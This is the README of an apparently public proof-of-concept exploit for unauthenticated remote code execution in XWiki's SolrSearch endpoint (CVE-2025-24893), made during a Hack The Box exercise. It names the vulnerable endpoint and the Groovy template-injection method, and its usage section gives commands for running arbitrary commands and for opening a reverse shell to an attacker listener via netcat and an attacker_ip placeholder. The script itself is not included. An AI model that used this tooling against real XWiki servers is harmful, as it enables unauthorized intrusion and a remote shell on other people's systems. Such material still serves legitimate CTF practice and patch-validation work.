Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell. Built during process of pwning HTB “Editor”# solrsearch-rce-exploit
Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell. Built during process of pwning HTB “Editor”
# CVE-2025-24893 – XWiki SolrSearch RCE PoC
Proof-of-concept for the XWiki `SolrSearch` template injection leading to unauthenticated remote code execution.
Tested against **XWiki Debian 15.10.8** (patched in 15.10.11 / 16.4.1 / 16.5.0RC1).
> ⚠️ Educational use only. Do not run this against systems you do not own or have explicit permission to test.
## What it does
- Sends crafted Groovy payloads through `/xwiki/bin/get/Main/SolrSearch`.
- Executes arbitrary commands and wraps output in Base64 markers for clean decoding.
- Supports launching a reverse shell using Java sockets.
## Requirements
- Python 3.x
- Install dependencies with:
```bash
pip install requests
```
## Usage
Specify the target host (and optional path) when running the script.
Run basic commands:
```bash
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "id"
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "whoami"
```
Start a reverse shell:
```bash
# On attacker box
nc -lvnp 4444
# From the PoC
python3 xwiki_solr_rce.py --target http://wiki.example.tld rshell <attacker_ip> 4444
```
## Notes
- Endpoint: `/xwiki/bin/get/Main/SolrSearch?media=rss&text=...`
- Clean Base64 output ensures reliable parsing.
- Originally demonstrated during HTB *Editor*, but applicable to other vulnerable instances.
- https://nvd.nist.gov/vuln/detail/CVE-2025-24893
登录后查看神龙缓存的 POC 文件快照
登录查看